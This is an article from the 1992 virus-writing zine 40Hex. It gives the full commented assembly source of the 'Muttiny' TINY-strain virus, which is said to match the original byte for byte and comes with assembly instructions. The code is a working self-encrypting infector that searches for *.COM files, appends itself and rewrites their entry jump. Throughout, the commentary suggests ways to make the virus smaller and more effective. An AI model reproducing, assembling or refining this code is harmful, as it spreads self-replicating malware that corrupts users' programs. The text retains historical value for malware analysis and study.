40Hex Number 7 Volume 2 Issue 3                                       File 004

I picked up a file touted as "a very small virus" and decided to figure out
what this virus could be.  SCAN86-B turned up nothing, so I had to disassemble
it.  The name was intriguing -- muttiny.  I thought it was a misspelling of
mutiny, but I was terribly wrong.  After a minute, I had infected a carrier
file and decrypted the virus.  It took but one minute more to disassemble and
maybe half an hour to comment.  Argh!  It is yet another TINY strain!

I do not know who the author is, but I had a few comments to make.  This virus,
quite frankly, sucks.  It is a pitiful excuse for programming.  Many, many
improvements can be made.  I have put comments on how this virus could be made
much mo' bettah.  I must tell whoever wrote the virus that TINY is not so tiny
anymore.  The original TINYs were 150 bytes long.  Now look at it!  It is over
twice that size!  I suppose this virus is the "MUTated TINY" variant, but I'd
prefer to call it "Messed Up Totally TINY".  The author MUST clean up the
virus before distributing it to everyone!  One further improvement would be to
make this virus a generic COM infector, which can be done in well under 200
bytes, with all the "functionality" of the current version.  Note that this
time I did not rewrite it, a la Tiny F 1.1, but rather merely suggested
improvements.  This way, you can easily see the bugs for yourself and learn
from the author's pitfalls.

             Dark Angel of PHALCON/SKISM     4/23/92

P.S. This is a byte-to-byte match of the virus I picked up -- even the
    labels are in their correct offsets.  The file below should match
    the source code of the original carrier file exactly. Assemble w/
    TASM /m2.

P.P.S. This is the last Tiny strain to be published in 40Hex. For some
    Reason, Tiny strains seem to come up again and again over here. I
    think it is hightime to put the Tiny series in its grave where it
    belongs.  Amen.  So be it.                                     DA

muttiny         segment byte public
               assume  cs:muttiny, ds:muttiny

               org     100h

start:          db      0e9h, 5, 0              ; jmp     startvir
restorehere:    int     20h
idword:         dw      990h
; The next line is incredibly pointless. It is a holdover from one
; of the original TINYs, where the id was 7, 8, 9.  The author can
; easily save one byte merely by deleting this line.
               db      09h
startvir:
               call    oldtrick                ; Standard location-finder
oldtrick:       pop     si
; The following statement is a bug -- well, not really a bug, just
; extraneous code.  The value pushed on the stack in the following
; line is NEVER popped off. This is messy programming, as one byte
; could be saved by removing the statement.
               push    si
               sub     si,offset oldtrick
               call    encrypt                 ; Decrypt virus
               call    savepsp                 ;  and save the PSP
; NOTE:  The entire savepsp/restorepsp procedures are unnecessary.
;        See the procedures at the end for further details.
               jmp     short findencryptval    ; Go to the rest of the virus
; The next line is another example of messy programming -- it is a
; NOP inserted by MASM during assembly.  Running this file through
; TASM with the /m2 switch should eliminate such "fix-ups."
               nop
; The next line leaves me guessing as to the author's true intent.
               db      0

encryptval      dw      0h

encrypt:
               push    bx                      ; Save handle
; The following two lines of code could be condensed into one:
;       lea bx, [si+offset startencrypt]
; Once again, poor programming style, though there's nothing wrong
; with the code.
               mov     bx,offset startencrypt
               add     bx,si
; Continueencrypt is implemented as a jmp-type loop. Although it's
; fine to code it this way, it's probably easier to code using the
; loop statement.  Upon close inspection, one finds the loop to be
; flawed. Note the single inc bx statement. This essentially makes
; the encryption value a a byte instead of a word, which decreases
; the number of mutations from 65,535 to 255.  Once again, this is
; just poor programming, very easily rectified with another inc bx
; statement. Another optimization could be made.  Use a
;       mov dx, [si+encryptval]
; to load up the encryption value before the loop, and replace the
; three lines following continueencrypt with a simple:
;       xor word ptr [bx], dx
continueencrypt:
               mov     ax,[bx]
               xor     ax,word ptr [si+encryptval]
               mov     [bx],ax
               inc     bx
; The next two lines should be executed BEFORE continueencrypt. As
; it stands right now, they are recalculated every iteration which
; slows down execution somewhat. Furthermore, the value calculated
; is much too large and this increases execution time. Yet another
; improvement would be the merging of the mov/add pair to the much
; cleaner lea cx, [si+offset endvirus].
               mov     cx,offset veryend       ; Calculate end of
               add     cx,si                   ; encryption: Note
               cmp     bx,cx                   ; the value is 246
               jle     continueencrypt         ; bytes too large.
               pop     bx
               ret
writerest:                                      ; Tack on the virus to the
               call    encrypt                 ; end of the file.
               mov     ah,40h
               mov     cx,offset endvirus - offset idword
               lea     dx,[si+offset idword]   ; Write starting from the id
               int     21h                     ; word
               call    encrypt
               ret

startencrypt:
; This is where the encrypted area begins.  This could be moved to
; where the ret is in procedure writerest, but it is not necessary
; since it won't affect the "scannability" of the virus.

findencryptval:
               mov     ah,2Ch                  ; Get random #
               int     21h                     ; CX=hr/min dx=sec
; The following chunk of code puzzles me. I admit it, I am totally
; lost as to its purpose.
               cmp     word ptr [si+offset encryptval],0
               je      step_two
               cmp     word ptr [si+offset encryptval+1],0
               je      step_two
               cmp     dh,0Fh
               jle     foundencryptionvalue
step_two:                                       ; Check to see if any
               cmp     dl,0                    ; part of the encryption
               je      findencryptval          ; value is 0 and if so,
               cmp     dh,0                    ; find another value.
               je      findencryptval
               mov     [si+offset encryptval],dx
foundencryptionvalue:
               mov     bp,[si+offset oldjmp]   ; Set up bp for
               add     bp,103h                 ; jmp later
               lea     dx,[si+filemask]        ; '*.COM',0
               xor     cx,cx                   ; Attributes
               mov     ah,4Eh                  ; Find first
tryanother:
               int     21h
               jc      quit_virus              ; If none found, exit

               mov     ax,3D02h                ; Open read/write
               mov     dx,9Eh                  ; In default DTA
               int     21h

               mov     cx,3
               mov     bx,ax                   ; Swap file handle register
               lea     dx,[si+offset buffer]
               mov     di,dx
               call    read                    ; Read 3 bytes
               cmp     byte ptr [di],0E9h      ; Is it a jmp?
               je      infect
findnext:
               mov     ah,4Fh                  ; If not, find next
               jmp     short tryanother
infect:
               mov     ax,4200h                ; Move file pointer
               mov     dx,[di+1]               ; to jmp location
               mov     [si+offset oldjmp],dx   ; and save old jmp
               xor     cx,cx                   ; location
               call    int21h
               jmp     short skipcheckinf
; Once again, we meet an infamous MASM-NOP.
               nop
; I don't understand why checkinf is implemented as a procedure as
; it is executed but once.  It is a waste of code space to do such
; a thing. The ret and call are both extra, wasting four bytes. An
; additional three bytes were wasted on the JMP skipping checkinf.
; In a program called "Tiny," a wasted seven bytes is rather large
; and should not exist.  I have written a virus of half the length
; of this virus which is a generic COM infector. There is just too
; too much waste in this program.
checkinf:
               cmp     word ptr [di],990h      ; Is it already
               je      findnext                ; infected?
; The je statement above presents another problem. It leaves stuff
; on the stack from the call.  This is, once again, not a critical
; error but nevertheless it is extremely sloppy behavior.
               xor     dx,dx
               xor     cx,cx
               mov     ax,4202h
               call    int21h                  ; Goto end of file
               ret
skipcheckinf:
               mov     cx,2
               mov     dx,di
               call    read                    ; read 2 bytes
               call    checkinf
; The next check is extraneous.  No COM file is larger than 65,535
; bytes before infection simply because it is "illegal."  Yet ano-
; ther waste of code.  Even if one were to use this useless check,
; it should be implemented, to save space, as or dx, dx.
               cmp     dx,0                    ; Check if too big
               jne     findnext

               cmp     ah,0FEh                 ; Check again if too big
               jae     findnext
               mov     [si+storejmp],ax        ; Save new jmp
               call    writerest               ;     location
               mov     ax,4200h                ; Go to offset
               mov     dx,1                    ; 1 in the file
               xor     cx,cx
               call    int21h

               mov     ah,40h                  ; and write the new
               mov     cx,2                    ; jmp location
               lea     dx,[si+storejmp]
               call    int21h
; I think it is quite obvious that the next line is pointless.  It
; is a truly moronic waste of two bytes.
               jc      closefile
closefile:
               mov     ah,3Eh                  ; Close the file
               call    int21h
quit_virus:
               call    restorepsp
               jmp     bp

read:
               mov     ah,3Fh                  ; Read file
; I do not understand why all the int 21h calls are done with this
; procedure.  It is a waste of space. A normal int 21h call is two
; bytes long while it's three bytes just to call this procedure!
int21h:
               int     21h
               ret

               db      'Made in England'

; Note: The comments for savepsp also apply to restorepsp.

; This code could have easily been changed to a set active DTA INT
; 21h call (AH = 1Ah).  It would have saved many, many bytes.

savepsp:
               mov     di,0
; The following is a bug.  It should be
;       mov cx, 50h
; since the author decided to use words instead of bytes.
               mov     cx,100h
               push    si
; The loop below is dumb.  A simple rep movsw statement would have
; sufficed.  Instead, countless bytes are wasted on the loop.
storebytes:
               mov     ax,[di]
               mov     word ptr [si+pspstore],ax
               add     si,2
               add     di,2
               loop    storebytes
               pop     si
               ret

restorepsp:
               mov     di,0
               mov     cx,100h                 ; Restore 200h bytes
               push    si
restorebytes:
               mov     ax,word ptr [si+pspstore]
               mov     [di],ax
               add     si,2
               add     di,2
               loop    restorebytes
               pop     si
               ret

oldjmp          dw      0
filemask        db      '*.COM',0
idontknow1      db      66h                     ; Waste of one byte
buffer          db      00h, 00h, 01h           ; Waste of three bytes
storejmp        dw      0                       ; Waste of two bytes
; endvirus should be before idontknow1, thereby saving six bytes.
endvirus:
idontknow2      db      ?, ?
pspstore        db      200 dup (?)             ; Should actually be
idontknow3      db      2ch dup (?)             ; 100h bytes long.
veryend:                                        ; End of encryption
muttiny         ends
               end     start